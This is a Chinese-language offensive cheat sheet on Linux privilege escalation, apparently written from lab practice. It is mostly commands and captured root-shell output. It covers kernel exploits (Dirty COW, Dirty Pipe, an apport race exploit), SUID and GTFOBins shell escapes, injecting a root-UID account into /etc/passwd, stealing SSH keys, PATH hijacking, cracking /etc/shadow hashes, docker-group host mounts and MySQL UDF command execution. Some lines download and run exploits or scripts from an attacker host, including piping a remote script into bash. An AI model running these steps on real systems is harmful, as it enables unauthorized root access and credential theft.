Linux提权

 

常用命令

uname -a #查看内核/操作系统/cpu信息
head -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名 
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -L #查看防火墙设置
route -n # 查看路由表 
ps -ef # 查看所有进程
top # 实时显示进程状态
w # 查看活动用户
id # 查看指定用户信息 
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务
echo $PATH #查看系统路径
gcc exp.c -o exp
gcc -pthread exp.c -o exp -lcrypt

常见问题

su失败

image-20220722104200302

python调用本地shell实现命令行交互

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")' 
python3 -c 'import pty;pty.spawn("/bin/bash")'

反弹shell出现指令乱码

(如果用的是sh shell,要在命令行切换成bash shell才能成功)

image-20220722105823743

image-20220722111717168

ctrl+Z 				 # 切入后台
stty -echo raw       # 设置原始格式
fg     				 # 调用后台任务

image-20220722110049430

Linux内核漏洞提权

通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在apache 就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限 超级管理员权限。

内核溢出提权

监听端口,拿到反弹shell后,利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权

uname -a
cat /proc/version 
cat /etc/issue 
cat /etc/redhat-release 
lsb_release -a

这里用kali自带的searchsploit,根据linux的内核版本去找对应的exp

searchsploit -t Ubuntu 14.04
searchsploit -s Ubuntu 14.04
searchsploit -s Linux Kernel 3.13.0

image-20220722160743026

查看描述

searchsploit -x linux/local/37088.c

image-20220722161013203

image-20220722160920573

攻击机用python开启远程下载服务

cd /tmp
cp /usr/share/exploitdb/exploits/linux/local/37088.c exp.c
python3 -m http.server 80

image-20220722161823265

被控端,在/tmp目录(一般可写入),用wget下载exp并且用gcc编译然后添加可执行权限,最后运行exp

cd /tmp
wget http://192.168.220.128/exp.c
gcc exp.c -o exp
chmod +x exp
ls -l | grep exp
./exp
www-data@moonteam-virtual-machine:/tmp$ cd /tmp
cd /tmp
www-data@moonteam-virtual-machine:/tmp$ wget http://192.168.220.128/exp.c
wget http://192.168.220.128/exp.c
--2022-07-22 16:26:42--  http://192.168.220.128/exp.c
Connecting to 192.168.220.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6027 (5.9K) [text/x-csrc]
Saving to: 'exp.c'

     0K .....                                                 100% 1.65G=0s

2022-07-22 16:26:42 (1.65 GB/s) - 'exp.c' saved [6027/6027]

www-data@moonteam-virtual-machine:/tmp$ gcc exp.c -o exp
gcc exp.c -o exp
www-data@moonteam-virtual-machine:/tmp$ chmod +x exp
chmod +x exp
www-data@moonteam-virtual-machine:/tmp$ ls -l | grep exp
ls -l | grep exp
-rwxr-xr-x 1 www-data www-data 14168 Jul 22 16:26 exp
-rw-r--r-- 1 www-data www-data  6027 Jul 22 16:16 exp.c
www-data@moonteam-virtual-machine:/tmp$ ./exp
./exp
created /var/crash/_bin_sleep.33.crash
crasher: my pid is 3131
apport stopped, pid = 3132
getting pid 3131
current pid = 3130..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500..35000..37500..40000..42500..45000..47500..50000..52500..55000..57500..60000..62500..65000..67500..70000..72500..75000..77500..80000..82500..85000..87500..90000..92500..95000..97500..100000..102500..105000..107500..110000..112500..115000..117500..120000..122500..125000..127500..130000..
** child: current pid = 3131
** child: executing /bin/su
su: must be run from a terminal
sleeping 2s..

checker: mode 4516
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..

checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
stty: standard input: Inappropriate ioctl for device
sh: 0: can't access tty; job control turned off
# whoami
root

不成功就多试试几个exp

Linux kernel缓冲区溢出漏洞(CVE-2022-34918))

漏洞描述

Linux kernel 5.18.9及之前版本存在缓冲区溢出漏洞,攻击者可利用该漏洞通过nft_set_elem_ini类中的混淆错误触发缓冲区溢出,从而获取对越界内存的访问权限,进而导致系统崩溃或者将自身权限提升至管理员,执行任意命令。

影响版本

Linux kernel <=5.18.9

漏洞复现

https://github.com/trhacknon/CVE-2022-34918-LPE-PoC

(没复现成功过 待定)

脏牛提权(CVE-2016-5195)

漏洞描述

该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

影响版本

Linux内核 >= 2.6.22 (uname -a)
RHEL7 Linux x86_64;
RHEL4 (4.4.7-16, with "legacy" version)
Debian 7 ("wheezy");
Ubuntu 14.04.1 LTS
Ubuntu 14.04.5 LTS
Ubuntu 16.04.1 LTS
Ubuntu 16.10
Linux Mint 17.2

漏洞复现0x00

脏牛https://github.com/FireFart/dirtycow

wget http://192.168.220.130/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty 或者  ./dirty my-new-password
# su或者ssh登录账号
su firefart或ssh firefart@xxx
#运行漏洞利用后不要忘记恢复您的 /etc/passwd!
mv /tmp/passwd.bak /etc/passwd

漏洞复现0x01

脏牛:https://github.com/gbonacini/CVE-2016-5195

上传到目标机器,解压,进入解压目录。

mkdir /tmp/CVE-2016-5195

unzip -n CVE-2016-5195 -d /tmp/CVE-2016-5195

执行make后生成可执行文件dcow, (执行make后的 gcc 版本要较高版本。)

执行 ./dcow -s ,如果成功的话,

会返回一个root权限的shell

记得恢复/etc/passwd

新脏牛提权(CVE-2022-0847)

漏洞描述

CVE-2022-0847它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。它类似于 Dirty COW (CVE-2016-5195),但更容易被利用。

影响版本

5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102

漏洞复现

exp:

https://github.com/r1is/CVE-2022-0847/blob/main/Dirty-Pipe.sh

靶机: 2021kali

uname -r
wget  xxxxxx/Dirty-Pipe.sh
chomd +x Dirty-Pipe.sh
bash Dirty-Pipe.sh
# 一定要执行 不然下次用不了  或者 chmod 777 /etc/passwd 没有root权限也可以恢复
rm -rf /etc/passwd
mv /tmp/passwd /etc/passwd

image-20220726155257842

suid提权

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。

以下命令可以发现系统上运行的所有suid可执行文件

find / -perm -u=s -type f 2>/dev/null 
find / -user root -perm -4000-print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

常用的suid提权文件

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

提权命令可以参考文档:https://gtfobins.github.io/ 中的SUID标签

find . -exec /bin/sh \; -quit
vim -c ':!/bin/sh'

passwd提权

前提:/etc/passwd文件可写

通过OpenSSL passwd生成一个新的用户hacker,密码为hack123

# 把被控端的/etc/passwd复制到kali
openssl passwd -1 hacker hack123

image-20220723215816933

# 追加内容到被控端的/etc/passwd
# 把/etc/passwd 的第一行的 root 和 x 替换一下
#  如 root:x:0:0:root:/root:/bin/bash
echo 'hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:root:/root:/bin/bash' >> /etc/passwd
# or 远程下载并覆盖原来的文件
wget xxx/passwd -O /etc/passwd
# or
echo 'hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:root:/root:/bin/sh' >> /etc/passwd

# 登录 root 权限的账号 hacker
su hacker
ssh hacker@192.168.220.147

ssh密钥提权

cat /etc/passwd | grep bash

image-20220723223946798

找有目录的账号并且目录下有.ssh目录

跳转到.ssh目录 然后将id_rsa下载到本地设置权限 600 登录

控制端:

chmod 600 id_rsa
ssh -i id_rsa web1@192.168.220.128
# 连上后查看id,看有什么可以利用的点 比如docker

也可以在本地生成公钥和私钥,然后把公钥上传到目标目录上

# 不提示直接生成密钥
ssh-keygen -t rsa -P “” -f ~/.ssh/id_rsa

环境劫持提权

0x00 suid提权

环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令

寻找suid文件

find / -perm -u=s -type f 2>/dev/null 
find / -user root -perm -4000-print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

image-20220727142424820

分析文件 发现是一个查询进行的命令 所以里面应该是用ps命令

image-20220727142443222

image-20220727142449950

这个二进制文件运行许的时候一定是调用了ps命令,在/tmp命令下 创建ps文件 里面使用 /bin/bash执行命令

当tmp的路径添加到当前环境路径,再访问 /script目录 执行shell文件,允许的时候首先会采用/tmp目录的ps文件作为命令

所以可以劫持root命令执行

cd /tmp 
echo "/bin/bash" > ps 
chmod 777 ps
# 记得改回来
echo $PATH
export PATH=/tmp:$PATH 
cd /script 
./shell

image-20220727151943984

0x01新脏牛提权(CVE-2022-0847)

影响版本

5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102

漏洞复现

exp:https://haxx.in/files/dirtypipez.c

gcc 1.c -o 1
./1 /usr/bin/mount
──(kali㉿kali)-[~]
└─$ find / -user root -perm -4000 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/kismet_cap_nrf_52840
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/ntfs-3g
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/fusermount3
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/vmware-user-suid-wrapper
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/passwd
/usr/bin/su
/usr/bin/kismet_cap_linux_wifi
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/kismet_cap_nrf_51822
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/umount
/usr/sbin/mount.cifs
/usr/sbin/pppd
/usr/sbin/mount.nfs
^C
                                                                                      
┌──(kali㉿kali)-[~]
└─$ gcc 1.c -o 1                                                                130 ⨯
                                                                                      
┌──(kali㉿kali)-[~]
└─$ ./1 /usr/bin/mount
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),120(wireshark),134(scanner),142(kaboxer),1000(kali)

shadow密文破解提权

用kali自带的工具john

john会自动检测密文类型 –wordlist 字段文件

这里先解压一下

ls /usr/share/wordlists
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
ls /usr/share/wordlists

image-20220819111412251

复制/etc/shadow的密文

root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYct1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::
echo 'root:$6$URZ1c7qW$z5jZA6/j9fb8d4ExJOWuwCjEFo0tfBkfV.D3OIf0c0ukepcZYgrBhO6vjpNbmYct1uco9NrtBw3z50tCoMbqb1:18907:0:99999:7:::' > userpasswd
john --wordlist="/usr/share/wordlists/rockyou.txt" userpasswd

image-20220819112031605

计划任务提权

查看计划任务

cat /etc/crontab

image-20220819155430321

查看当前用户命令

crontab -l

image-20220819155437325

查看日志

tail -f /var/log/syslog

image-20220819155508313

查看日志文件发现root每一分钟会执行一次 cleanup.py文件,修改文件反弹shell即可

提权脚本

LinEnum

链接:https://github.com/rebootuser/LinEnum

下载执行

wget -O - http://192.168.220.130/LinEnum.sh | bash

image-20220819171604659

linuxprivchecker

python2

https://github.com/sleventyeleven/linuxprivchecker

python3

https://github.com/swarley7/linuxprivchecker

image-20220819171757759

linux-exploit-suggester2

https://github.com/jondonas/linux-exploit-suggester-2

自动检测

perl linux-exploit-suggester-2.pl

image-20220819172200919

docker提权

输入命令id 和group 查询当前用户信息和组信息 发现存在docker组

image-20220822162646569

输入命令下载使用容器把容器的目录挂载到宿主的根目录

docker run -v /:/mnt -it alpine

访问宿主的/etc/shadow

cat /mnt/etc/shadow

image-20220822162720215

sudo提权

sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知道 root 的密码。

首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而提权。

sudo -l

列出目前用户可执行与无法执行的指令。

image-20220822163841799

可以看到可以使用root特权下的cat命令,所以可以读取任何文件

image-20220822163901900

第三方提权

mysql udf提权

如果在linux中 存在mysql ,可以试用mysql提权 但是几率不会太大

mysql -version 查看版本是64位还是32
show variables like '%plugin%';

(这个文件夹要有写文件权限)

image-20220822170621951

image-20220822171003250

使用kali

cd /usr/share/sqlmap/extra/cloak/
sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so  进行解码,生成文件lib_mysqludf_sys.so
wget http://192.168.0.109/lib_mysqludf_sys.so 在被控端下载lib_mysqludf_sys.so

登录mysql创建函数

use mysql

创建函数

create function sys_eval returns string soname "udf.so";
select sys_eval('id');

image-20220822171058140

提权失败的原因

  1. plugin 不存在 或者 没权限写入文件

  2. udf so文件 版本不对

  3. 设置权限

sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld